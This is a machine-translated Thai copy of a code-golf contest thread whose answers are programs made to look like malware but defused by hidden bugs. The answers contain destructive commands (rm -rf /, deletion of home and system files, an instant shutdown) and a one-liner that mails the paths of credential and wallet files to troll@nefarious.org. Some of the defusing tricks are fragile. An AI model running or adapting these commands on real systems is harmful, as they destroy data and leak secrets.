หมุนรอบหมุนรอบ [ปิด]


184

การหมุนรอบได้จับคุณและบังคับให้คุณเขียนมัลแวร์ (กำหนดเป็นโปรแกรมที่สร้างความเสียหายให้กับคอมพิวเตอร์ที่เรียกใช้) โทรลล์สามารถอ่านและเข้าใจโค้ดได้ แต่ไม่ค่อยพบข้อบกพร่อง

เป้าหมายของคุณคือการเขียนโปรแกรมที่:

  1. ดูเหมือนมัลแวร์ เช่นโปรแกรมเมอร์เริ่มต้นที่อ่านรหัสจะมั่นใจได้ว่ารหัสนั้นสร้างความเสียหายให้กับคอมพิวเตอร์ที่ใช้รหัสนั้น
  2. จริงๆแล้วจะไม่เกิดความเสียหายเลย

หมายเหตุ: โทรลล์อ่านเฉพาะรหัสเท่านั้นไม่ใช่ความคิดเห็น ดังนั้นรหัสควรชัดเจนและน่าเชื่อถือเพียงพอ

ตัวอย่าง (ทุบตี):

rm - rf /home

ตัวอย่างนี้ดูเหมือนว่าrm -rf /homeจะลบโฟลเดอร์ภายในบ้านทั้งหมดออกจากระบบ แต่จริงๆแล้วเนื่องจากพื้นที่ว่างก่อน rf สิ่งนี้จะไม่ทำงานและทำให้เกิดข้อผิดพลาดที่ไม่เป็นอันตราย

นี่เป็นวิธีการแก้ปัญหาที่ยอมรับได้ แต่ก็ไม่ค่อยดีนักเพราะข้อบกพร่องนั้นค่อนข้างง่ายต่อการตรวจจับ

ในทางตรงกันข้ามโปรแกรมที่ซับซ้อนและไม่สามารถอ่านได้จะไม่เป็นทางออกที่ดีมากเพราะมันจะไม่ดูเหมือนมัลแวร์

ทางออกที่ดีควรอ่านได้เพียงพอที่จะโน้มน้าวผู้อ่านว่ามัลแวร์ แต่มีข้อบกพร่องที่ยากต่อการตรวจจับและทำให้ไม่เป็นอันตราย

นี่คือการประกวดความนิยมดังนั้นโค้ดที่มีผู้ชนะมากที่สุดจะได้รับรหัส


160
ฉันรู้สึกเหมือนคุณกำลังพยายามที่จะหลอกลวงให้ฉันเข้าไปวางrm - rf /ลงในเปลือกของฉัน ...
undergroundmonorail

19
rm -rf /ทุบตี เว้นแต่ระบบจะเก่ามากมันจะต้อง--no-preserve-root:)
80551

10
-1 เพราะก) การหมุนโค้ดและที่สำคัญกว่านั้น b) ฉันกังวลมากเกี่ยวกับการสร้างมัลแวร์ (แม้ว่ามันจะปลอมแปลงมันจะเข้าใกล้)
Gareth

13
@Gareth มันไม่ได้เป็นมัลแวร์จริงๆ (ซึ่งโดยปกติจะพยายามซ่อนและ / หรือขโมยข้อมูลในวันนี้) มันเป็นความพยายามที่ชัดเจนในการลบสิ่งต่าง ๆ ซึ่งโปรแกรมเมอร์มือใหม่สามารถเขียนด้วยความพยายามเล็กน้อย
Bob

29
rm - rf /ไม่ใช่ตัวอย่างที่ถูกต้อง! อาจทำให้เกิดความเสียหายได้หากคุณมีไฟล์ชื่อrfในไดเรกทอรีปัจจุบัน
gnibbler

คำตอบ:


139

ทุบตี

ฉันไปทางอื่นแล้ว แทนที่จะลบทุกอย่างในฮาร์ดไดรฟ์ของคุณฉันจะเติมให้เต็มขยะ

สคริปต์นี้สร้างโฟลเดอร์จากนั้นเชื่อมต่อcatไฟล์ทั้งหมดเข้าด้วยกันอย่างต่อเนื่องและรวมเข้าด้วยกันเป็นไฟล์ใหม่เพิ่มมูลค่าls -alให้กับการวัดที่ดี (และเพื่อให้ไฟล์เริ่มต้นมีบางอย่าง)

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

ยกเว้น...

/ bin / bash / (แทน / bin / bash) ไม่น่าจะเป็นล่ามที่ถูกต้อง นี่เป็นเพียงพิมพ์ผิดปกติของฉัน และเนื่องจาก "shebang เป็นความคิดเห็นทางเทคนิคโทรลล์จะไม่สนใจ"


56
+1 บรรทัดแรกในสคริปต์คือจุดบอดสำหรับโปรแกรมเมอร์จำนวนมาก (รวมถึงตัวฉันเอง)
Erel Segal-Halevi

44
และ Shebang นั้นเป็นความเห็นทางเทคนิคดังนั้นโทรลล์จะไม่สนใจมัน
Brian Minton

14
+1 สำหรับการดูถูกความคิดเห็นที่ไม่
สุภาพ

37
เล่นเป็นbash whatever.shจะทำลายเคล็ดลับของคุณ ...
Darkhogg

8
@ Darkhogg สิ่งที่โชคดี! ฉันบันทึกไว้evil.commandเพื่อให้โทรลล์สามารถคลิกสองครั้งเพื่อเปิด (บน Mac เป็นอย่างน้อย)
James Webster

114

Haskell

ตรวจสอบหน้าคู่มือนี้ , removeDirectoryRecursiveลบไดเรกทอรีที่มีทั้งหมดของเนื้อหาของมัน!

import System.Directory
main = return (removeDirectoryRecursive "/")

รหัสที่ถูกต้องจะฟังก์ชั่นที่ควรจะกลับมาเป็นแนวคิดในการทำบางสิ่งบางอย่าง ส่งคืนแนวคิดของการลบระบบไฟล์ของคุณ แต่ฟังก์ชั่น (ใช่มันเป็นฟังก์ชั่น) ล้อมรอบอาร์กิวเมนต์ในแนวคิดจำลองของการส่งคืนค่านั้น ดังนั้นเราจึงจบลงด้วยแนวคิดของการคืนแนวคิดในการล้างไดรฟ์ของคุณ (Yo dawg ฉันฝูงคุณชอบแนวคิด)รันไทม์ haskell รันแนวคิดที่ส่งคืนจากและทิ้งค่าที่ส่งคืนซึ่งในกรณีของเราเป็นแนวคิดของการเช็ดระบบไฟล์ของคุณmain = removeDirectoryRecursive "/"
mainremoveDirectoryRecursive "/"return
main


85
+1 ฉันไม่สามารถเข้าใจข้อผิดพลาดแม้หลังจากที่ฉันได้อ่านคำอธิบายของคุณ ...
Erel Segal-Halevi

3
ฉันเข้าใจว่านี่เป็นข้อผิดพลาดของตัวชี้ (ชี้ไปที่ตัวชี้ของฟังก์ชันแทนที่จะชี้ไปที่ฟังก์ชัน) ค่อนข้างดีนักเขียนโปรแกรมเริ่มต้นมักจะล้มได้ง่ายสำหรับเคล็ดลับพอยน์เตอร์
gaborous

3
โดยพื้นฐานแล้วสิ่งนี้จะคล้ายกับreturn removeDirectoryRecursive;เมื่อเทียบกับreturn removeDirectoryRecursive();ใน C นั่นถูกต้องหรือไม่
3Doubloons

4
@ user1121352 ไม่ฟังก์ชันถูกเรียกใช้ แต่ไม่สามารถลบไฟล์ได้เนื่องจากเป็นของแท้ แต่จะให้การกระทำ IO ซึ่งเมื่อกลับมาจากmainจะถูกดำเนินการและลบไฟล์ อย่างไรก็ตามการใช้returnฟังก์ชั่นอย่างชัดเจนจะสร้างการกระทำของ IO ที่มีวัตถุประสงค์เพียงเพื่อสร้างมูลค่า
mniip

4
@Cululhu returnไม่มีส่วนเกี่ยวข้องกับreturnภาษาอื่น (หรือแม้แต่กับ "การคืนค่า" จากฟังก์ชั่น) ทั้งค่าประเภทไม่IO aได้มีมากเกี่ยวกับฟังก์ชั่นในภาษาอื่น ๆ ดังนั้นการเปรียบเทียบจึงเป็นคลื่นที่มือสวย
Niklas B.

103

PHP

ต่อไปนี้เป็นสคริปต์ PHP แบบเรียกซ้ำซึ่งพยายามลบทุกไฟล์ในเว็บไซต์ของคุณ อาจใช้เวลาสักครู่จึงจะเสร็จสมบูรณ์หากเว็บไซต์มีขนาดค่อนข้างใหญ่ดังนั้นโปรดอดทนรอ ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

เพียงหนึ่งปัญหาเล็ก -yeny ...

ไม่มีคำสั่งdelete ()ใน PHP สคริปต์ที่จะล้มเหลวเร็วที่สุดเท่าที่จะพบคำสั่งนี้ แต่ข้อผิดพลาดจะไม่สามารถแสดงได้เนื่องจากรายงานข้อผิดพลาดได้ถูกยกเลิกโดย prefixing คำสั่งนี้ด้วย@ ภาพ GIF ที่กะพริบให้ความรู้สึกว่ามีบางอย่างกำลังเกิดขึ้นเมื่อไม่มีอะไรเกิดขึ้น


31
เท่าที่ฉันเข้าใจ: ไม่มีฟังก์ชั่นลบ () คู่มือบอกว่านี่คือ "รายการปลอม" สำหรับทุกคนที่กำลังมองหาฟังก์ชั่นที่เหมาะสม (ยกเลิกการเชื่อมโยง) ไม่ได้หมายความว่ามีการเปลี่ยนเส้นทางแบบ "อัตโนมัติ" ใน PHP
Erti-Chris Eelmaa

93
@ user11153 ถูกหมุน
basher

34
เห็นฉันคิดว่าเหตุผลข้อผิดพลาดจะถูกละเว้นและการดำเนินการจะดำเนินการต่อเพราะมันเป็น PHP
Zoey

17
ฉันคิดว่าการใช้ฟังก์ชั่นแบบไม่มีอยู่จริงนั้นเป็นสิ่งที่เห็นได้ชัดเจน ( deleteเพื่อลบไฟล์? ใช้วิธีไหนunlⅰnkแทน (ซึ่งใช้ U + 2170 แทน“ i”)
Konrad Rudolph

18
@KonradRudolph ฟังก์ชั่นที่มีชื่อdeleteในการลบไฟล์นั้นเชื่อใน PHP อย่างสมบูรณ์ สิ่งเดียวที่ไม่น่าเชื่อคือถ้ามันเป็นจริงจะมีวิธีอื่นอีก 3 หรือ 4 วิธีในการทำมันและทั้งหมด แต่สิ่งที่มีชื่อแปลกที่สุดจะมีข้อบกพร่องด้านความปลอดภัยที่ร้ายแรง
เบรนแดน Long

93

Perl (Unix)

ลบไฟล์ทั้งหมดบนระบบ

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

คุณสมบัติ

  • นี่คือ Perl ที่ถูกต้อง มันยังรวบรวมและทำงานด้วย-wและuse strict!

  • ไม่มี quibbles เช่น C ++ delete's unlinkเป็นฟังก์ชั่นในการลบไฟล์rmdirจริงๆลบไดเรกทอรี ฯลฯ

  • จัดการกับไดเร็กทอรีที่ซ้อนกันอย่างลึกล้ำที่ชื่อพา ธ สัมบูรณ์อาจเกินความยาวสูงสุดของระบบโดยเปลี่ยนเป็นแต่ละไดเร็กทอรีเพื่อใช้พา ธ สัมพัทธ์ นอกจากนี้จะไม่ใช้การจัดการไดเรกทอรีเนื่องจากจะอ่านและปิดไดเรกทอรีก่อนที่จะเรียกซ้ำ

ผู้ทำให้เสื่อมเสีย

บน Unix รายการแรกในไดเรกทอรีรากโดยปกติแล้ว "." ดังนั้นโปรแกรมจะทำการเรียกซ้ำ chdir (".") ที่ไม่มีที่สิ้นสุดจนกว่าจะหมดหน่วยความจำและขัดข้อง

หมายเหตุเพิ่มเติม

นี่เป็นการยากที่จะได้รับสิทธิเกินคาด หากคุณไม่ใช้วิธี chdir ในที่สุดคุณจะได้รับชื่อพา ธ ที่ยาวเกินไป จากนั้น -d จะคืนค่า false และการเรียกซ้ำไม่สิ้นสุดและไฟล์อาจถูกลบจริง ๆ ! ข้อผิดพลาดที่คล้ายกันสามารถเกิดขึ้นได้หากคุณเปิดการจัดการไดเรกทอรี ในที่สุดคุณก็หมด opendir ล้มเหลว killdir กลับมาและการลบก็เริ่มเกิดขึ้น


45
"จากนั้น -d จะคืนค่า false และการเรียกซ้ำไม่สิ้นสุดและไฟล์อาจถูกลบจริง ๆ !" คุณรู้ไหมว่าวิธีที่ยากลำบาก?
Niklas B.

4
@NiklasB: โชคดีที่ฉันทดสอบรุ่นดัมมี่ :)
Nate Eldredge

ผมคาดว่ารหัสดังกล่าวสามารถลบโฟลเดอร์ที่ว่างเปล่าเพียง แต่ไม่ได้ไฟล์ ...
Qwertiy

3
"บน Unix รายการแรกในไดเรกทอรีรากโดยปกติจะเป็น" "" ดังนั้นอีกหนึ่งมัลแวร์สำหรับ Windows เท่านั้น?
Alexander

1
@timmyRS: โปรแกรมจะขัดข้อง ระบบจะยังคงทำงานได้ดี
Nate Eldredge

81

เปลือกหนึ่งซับ

สิ่งนี้จะขโมยรหัสผ่านของเหยื่อคีย์ส่วนตัวบิตคอยน์ ฯลฯ

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

สปอยเลอร์:

นี่อาจดูราวกับว่ามันส่งอีเมลไฟล์ทั้งหมดไปยังโทรลล์ แต่จริงๆแล้วมันเป็นเพียงแค่ส่งอีเมลชื่อไฟล์ของพวกเขา


4
ส่งอีเมลถึงเนื้อหาที่cat, headหรือtailคำสั่งจะต้องมีส่วนร่วมอยู่ที่ไหนสักแห่ง
Agi Hammerthief

7
ยังคงมีการรั่วไหลของข้อมูลไม่ว่าจะเกิดอะไรขึ้น นี่เป็นการหมุนรอบการหมุนรอบหรือไม่?
Kyle Kelley

-exec cat '{}' \; | …
Martin Ueding

@queueoverflow-print0 | xargs -0 cat |
ควอนตัม

1
ฉันได้รับโดยไม่มีสปอยเลอร์หลังจากอ่านรหัส 2-3 ครั้ง
nyuszika7h

74

Batch / CMD

บันทึก

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

และทำให้พวกเขาเรียกใช้ด้วยพารามิเตอร์ของแต่ละไดรฟ์ในคอมพิวเตอร์

% 0 เป็นพารามิเตอร์ตัวแรกเสมอ - ชื่อไฟล์ หลังจากสิ่งนี้มาถึงชุดของพารามิเตอร์จริง แต่มันได้ลบไปแล้วดังนั้นมันจะไม่ดำเนินการต่อ


104
ยังต้องอาศัยพฤติกรรมที่ตลกของแบทช์ในการปิดไฟล์และเปิดใหม่เพื่ออ่านบรรทัดถัดไปสำหรับทุกบรรทัด ...
Bob

8
DEL %0จะไม่ทำงานจนกว่าจะมีการระบุนามสกุลของไฟล์ในบรรทัดคำสั่งและสคริปต์จะทำงานโดยให้พา ธ เต็มหรือคุณอยู่ในไดเรกทอรีเดียวกัน DEL "%~f0"จะแก้ปัญหาทั้งสองและมีความยืดหยุ่นกับช่องว่างที่ใดก็ได้ภายในเส้นทาง นอกจากนี้ยัง%10ขึ้นไปไม่ได้อยู่ - มันแปลว่าจะตามตัวอักษร%1 0
Jon

14
+1 แม้ว่าโทรลล์จะเข้าใจในสิ่งที่ "DEL% 0" ทำคุณสามารถโน้มน้าวเขาได้ว่านี่เป็นเพียงการล้างหลักฐานและไม่ทำให้เกิดความเสียหายเนื่องจากไฟล์แบตช์ยังคงอยู่ในหน่วยความจำจนกว่าการดำเนินการจะเสร็จสิ้น กล่าว).
Erel Segal-Halevi

2
โทรลล์ที่ชาญฉลาดยังคงคิดว่าเป็นเรื่องแปลกที่จะออกคำสั่งให้ลบตัวเองเมื่อเริ่มต้นไฟล์ (แทนที่จะเป็นตอนท้าย) เว้นแต่คุณจะคำนึงถึงว่าแบทช์สคริปต์มีแนวโน้มที่ผิดพลาดเกิดขึ้นได้อย่างไร
Agi Hammerthief

10
@ บ๊อบฉันไม่รู้เลยว่าชุดนั้น ... มันน่ากลัว
w4etwetewtwet

48

จาวาสคริ

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

มัลแวร์ดั้งเดิมจะไม่ทำให้คอมพิวเตอร์ของคุณระเบิด แต่น่ารำคาญ

สิ่งนี้ไม่เป็นอันตรายเพราะ:

evalจะแบ่งห่วงอนันต์และแก้ไขข้อความ


40
ฉันจะลงคะแนนให้คุณ แต่คุณมีตัวแทน 1337 คน
scrblnrd3

5
ดังนั้นโปรดอย่า! :)
Michael M.

@scrblnd มันหายไป D:
Riking

11
โหวตคำตอบที่ไม่ดีลงจนกว่าคุณจะกลับมา
David Starkey

4
เพียงเพื่ออธิบายสำหรับคนอื่น ๆatob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7')จะดำเนินการต่อไปนี้: "infiniteLoop = false; evilMessage = evilMessage.replace (" สแปม " "รัก");"
Mohammed Joraid

45

ชวา

ขอให้พระเจ้ายกโทษให้ฉันในการส่งความต้องการที่น่าสังเวชของคุณหมุนรอบ

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec ไม่เรียกใช้เชลล์ดังนั้นการขยายแบบ glob จะไม่เกิดขึ้นและคำสั่งจะพยายามลบไดเรกทอรีหลักที่ชื่อ "*" ไม่สำเร็จ


1
ดังนั้นโฮมไดเร็กตอรี่ของฉันเรียกว่า '*' คืออะไร? ;)
Vorac

6
จริงๆแล้วนี่เป็นหนึ่งในคำตอบของจาวาที่ดีกว่า เรื่องนี้ต้องมีความเข้าใจที่มั่นคงสวยของ (มาก) downfalls Runtime.exec()ของ +1
Qix

Java ไม่มีจริงเทียบเท่ากับคsystem()ฟังก์ชั่น?
SuperJedi224

@ SuperJedi224 Nope คุณต้องระบุ/bin/sh -cหรือcmd /cหรือสิ่งที่ตนเอง เหมาะสมเพราะคุณไม่เคยรู้ว่าคำสั่งจะทำอย่างไรในระบบปฏิบัติการใหม่
ผู้ชายคนอื่นนั้น

37

C

เนื่องจากเขาไม่ได้อ่านความคิดเห็นที่ควรทำ:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

เวอร์ชัน C ++

ขอบคุณDragonLordสำหรับสิ่งนี้

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

เพิ่มสิ่งนี้ลงในโฟลเดอร์เริ่มต้นและรีสตาร์ทคอมพิวเตอร์

มันทำงานอย่างไร:

?? / เป็น trigraph และจะเพิ่มบรรทัดถัดไปลงในความคิดเห็นดังนั้นโดยทั่วไปจะไม่ทำอะไรเลย หมายเหตุ: อย่าลองใช้ Trigraphs นี้อาจจะปิดในคอมไพเลอร์บางตัวเป็นค่าเริ่มต้นและจะต้องเปิดเพื่อให้มันทำงาน


ถ้าในคอมไพเลอร์มันอาจใช้งานได้จริงหรือเปล่า
Antonio Ragagnin

4
Nope แต่ในสถานการณ์จริงฉันไม่ต้องการหมุนรอบหมุนรอบด้วยรหัสดังกล่าว (ฉันไม่ต้องการทำอันตรายรอบหมุนรอบ!)
Antonio Ragagnin

2
@AntonioRagagnin ถ้าสิ่งนี้ใช้ได้กับคอมไพเลอร์ใด ๆ คอมไพเลอร์นั่นคือบั๊กกี้ อย่างไรก็ตามคอมไพเลอร์สมัยใหม่ส่วนใหญ่จะเตือนเกี่ยวกับการใช้ Trigraphs (แต่ยอมรับและคอมไพล์โค้ด)
Konrad Rudolph

8
ดังนั้นถ้าโทรลล์ไม่ได้อ่านความคิดเห็นและวิธีการแก้ปัญหาของคุณคือการทำให้มัลแวร์เป็นความคิดเห็นไม่ได้หมายความว่าทุกการหมุนรอบเห็นเป็นฟังก์ชั่นmainด้วยreturn 0?
David Starkey

1
นี่??/เป็นกลอุบายเก่า ๆ จริง ๆ ... ฉันขอโทษ
Isiah Meadows

33

ชวา

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

การใช้อักขระเลี่ยง (the \ n ก่อน ntoskrnl.exe เป็นบรรทัดใหม่แทน N ปกติ)


20
หากคุณไม่หลบหนีจากแบ็กสแลชอื่น ๆ ข้อผิดพลาดอาจดูเด่นน้อยลง โทรลล์อาจคิดว่าภาษานั้นไม่ได้ใช้เครื่องหมายทับขวา
3Doubloons

2
@ 3Doubloons รหัสจะไม่สามารถรวบรวมในกรณีที่?
Neil

2
@ Neil: จุดดี มันจะไม่เกิดขึ้น แต่ถ้าโทรลล์ปล่อยให้เราไปทันทีที่เขาพอใจกับการอ่านของเขาเรากำลังอยู่ในความชัดเจน
3Doubloons

29
new File("C:\ntldr").delete();
Egor Skriptunoff

3
@EgorSkriptunoff ฉันใช้เวลานานกว่าจะได้รู้ว่า XP ไม่ใช่ตัวแปรของ XD
Justin

31

ทุบตี

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

ชุด -t จะออกหลังจากอ่านและดำเนินการหนึ่งคำสั่ง สคริปต์นี้พิมพ์ออกไม่มีและไฟล์ทั้งหมดจะปลอดภัย!

หรือต่อไปนี้แต่อ่านสปอยเลอร์ก่อนที่จะทำงาน

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

โดยความต้องการที่เป็นที่นิยม .. #!/bin/bash -tจะออกหลังจากอ่านและดำเนินการคำสั่งเดียว อย่าเรียกใช้สิ่งนี้ใต้bash -xเพราะจะไม่สนใจ-tและเรียกใช้คำสั่งในสคริปต์


สปอยเลอร์ฉันสับสนเล็กน้อย ... อะไรคือความแตกต่างระหว่างset -tและexit? Bash man page บอกว่าset -tจะออกหลังจาก "one command" แต่ดูเหมือนว่าจะนับsetคำสั่งด้วยตนเองว่าเป็นคำสั่งนั้นและออกทันที
Kyle Strand

6
หากคำสั่งเพิ่มเติมอยู่ในบรรทัดเดียวกับset -t (เช่นคั่นด้วยเครื่องหมายอัฒภาคหรือแอมป์คู่และอื่น ๆ ) พวกเขาจะถูกดำเนินการ ในกรณีนี้บรรทัดแรกของset -t; echo "hahaha deleting files.."จะสะท้อนข้อความนั้นออกจาก
JOgden

2
อา ขอบคุณ ไม่ทราบว่ามีความแตกต่างในพฤติกรรมระหว่าง;และขึ้นบรรทัดใหม่
Kyle Strand

4
#!/bin/bash -tบางที?
Neil

2
@JOgden ก็ทุบตีเลวร้ายเกินไปไม่ได้ทำเคล็ดลับ shebang-แยกเดียวกับที่ Perl ไม่ (ถ้าคุณเรียกใช้perl foo.plและ foo.pl เริ่มต้นด้วย#!somethingendingin/perl -flags, Perl จะทำหน้าที่เหมือนมันถูกเรียกด้วย-flags)
ฮอบส์

30

หลาม

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

สามเครื่องหมายคำพูด "" "สตาร์ทสตริงหลายบรรทัดใน Python


5
ไม่ถูกต้องพวกเขาเริ่มต้นสตริง หลายบรรทัดdocs.python.org/2/tutorial/introduction.html#strings
user80551

12
ฉันเห็นปัญหาอย่างแท้จริงภายในห้าวินาทีหลังจากเห็นคำตอบและฉันก็ไม่รู้จักงูใหญ่
The Guy with The Hat

6
ความคิดที่ดีกับปัญหาที่ว่าถ้าโทรลล์ใช้การเน้นไวยากรณ์เขาจะพบมัน
o0 '

1
ฉันคิดว่าค่าเฉลี่ยโทรลล์เห็นรหัสที่เป็นอันตรายแบบสุ่มในอินเทอร์เน็ตและเพียงคัดลอกในฟอรัมอื่น
Antonio Ragagnin

1
ดีฉันมีประสบการณ์กับ Python และฉันไม่เห็นข้อบกพร่อง การใช้เครื่องหมายคำพูด 4 รายการอาจทำให้ฉันหลงกล
gaborous

29

D

โปรแกรมนี้ถูกต้องและดำเนินการโดยไม่มีข้อผิดพลาด มันวางไข่ฟังก์ชั่นการลบในหัวข้อใหม่ที่จะลบrootไดเรกทอรี

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

แต่ไม่มีอะไรถูกลบ ...

เนื่องจากใน D ตัวแปรที่ประกาศที่ขอบเขตโมดูลจะเป็นเธรดโลคัลตามค่าเริ่มต้น mainฟังก์ชั่นชุดมันไป "/" แต่หัวข้อวางไข่มีสำเนาที่ว่างเปล่าดังนั้นrmdirRecurseฟังก์ชั่นไม่ได้เรียกว่า


1
ดี! ฉันจัดการเพื่อจับข้อบกพร่องในหนึ่งนี้แม้ว่าฉันไม่รู้ D.
Erel Segal-Halevi

1
"ตัวแปรโกลบอลเป็นเธรดแบบโลคัลตามค่าเริ่มต้น" ซึ่งค่อนข้างขัดแย้งกัน
Niklas B.

@NiklasB ความขัดแย้งคืออะไร?
biozic

มันไม่ได้เป็น "ตัวแปรทั่วโลก" แล้ว อาจจะ "ตัวแปรประกาศที่ระดับสูงสุด" เป็นคำอธิบายที่ดีกว่า?
Paŭlo Ebermann

ใช่แก้ไขแล้ว! มันไม่ชัดเจน ไม่ได้ขัดแย้งอย่างสิ้นเชิงแม้ว่าอย่างน้อยพูดศัพท์
biozic

25

C (Unix)

การเพิ่มโฆษณาบางรายการไม่เคยทำร้ายใครเลย

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: มันเป็นป้ายข้อความข้ามไปที่ป้ายกำกับไม่มีรหัสการล่วงละเมิด : V


5
ฉันจัดการเพื่อจุดนี้ :)
Erel ซีกัล-Halevi

17
เครื่องหมายอัฒภาคใน URL แรกนั้นสามารถมองเห็นได้ง่ายในแบบอักษรนี้ แต่มันก็มีความคิดสร้างสรรค์!
CompuChip

12
ข้ามไปถือว่าเป็นประโยชน์
drewbenn

1
ฉันสังเกตเห็นเพราะไม่มีเครื่องหมายอัฒภาคหลังจากข้ามไป หากคุณเปลี่ยนเป็นgoto http;//www.trolling.com;(ทั้งสองจุด) ฉันอาจพลาดไป
wchargin

2
มันจะไม่รวบรวมเพราะไม่มีprintฟังก์ชั่น
nyuszika7h

24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

ไม่มีการแจ้งเตือนปรากฏขึ้น ตั้งแต่ JavaScript ไม่จำเป็นต้องมี;ในตอนท้ายของสายก็ถูกแทรกโดยอัตโนมัติหลังจากที่กลายเป็นreturn return;จากนั้นundefinedซึ่งเป็นเท็จจะถูกส่งกลับแทน "วัตถุ" (ซึ่งในความเป็นจริงจะแยกวิเคราะห์เป็นคำสั่งบล็อก)


3
ล่อลวงให้ +1 เพียงเพื่อการใช้งาน "แท้จริง" และ "เท็จ";)
CompuChip

1
+1 เนื่องจาก "ข้อบกพร่อง" ใน JS ทำให้ฉันระวังตัวหลาย ๆ ครั้ง ... ต้องอ่านซ้ำสองสามครั้งเพื่อดูมัน
Mark Ormston

12
@NigelNquande เซมิโคลอนไม่ทำให้เกิดความล้มเหลวการแบ่งบรรทัดจะทำอย่างไร การส่งคืนและวัตถุที่ควรจะส่งคืนนั้นอยู่ในบรรทัดแยกกันดังนั้นวัตถุจะไม่ถูกส่งคืน หากต้องการ "แก้ไข" ให้ลบตัวแบ่งบรรทัดเพื่อให้อ่านได้return {
Dave Forber

3
หวังว่าโทรลล์จะไม่ย่อขนาดโค้ด!
Mohammed Joraid

2
UglifyJS กล่าวและผลตอบแทนWARN: Dropping side-effect-free statement [-:4,11] function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");
nyuszika7h

22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

สลับการแจ้งเตือนการทำลายสำหรับการกระทำการทำลายที่น่ารังเกียจที่คุณต้องการใช้

สปอยเลอร์:

แม้ว่ามันจะดูเหมือนว่าการกำหนดค่าจะถูกลบ ... และมันก็เป็น ! การประกาศ 'var' ภายในฟังก์ชั่นคือ "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.htmlและผลที่ตามมาคือเท็จจริง ๆ เมื่อเข้าสู่ฟังก์ชัน


เคล็ดลับดี แต่ทำไมคุณจะรีเซ็ตธง
Mohammed Joraid

"รีเซ็ต" เป็นเพียงตัวอย่าง ... มันอาจเป็นตัวแปรใด ๆ ที่การมอบหมายนั้นถูกต้อง ... หากนำหน้าด้วย 'var' อาจ / จะมีผลที่ตามมาโดยไม่ได้ตั้งใจ
scunliffe

16

ชวา

มาลบไฟล์สำคัญกัน!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

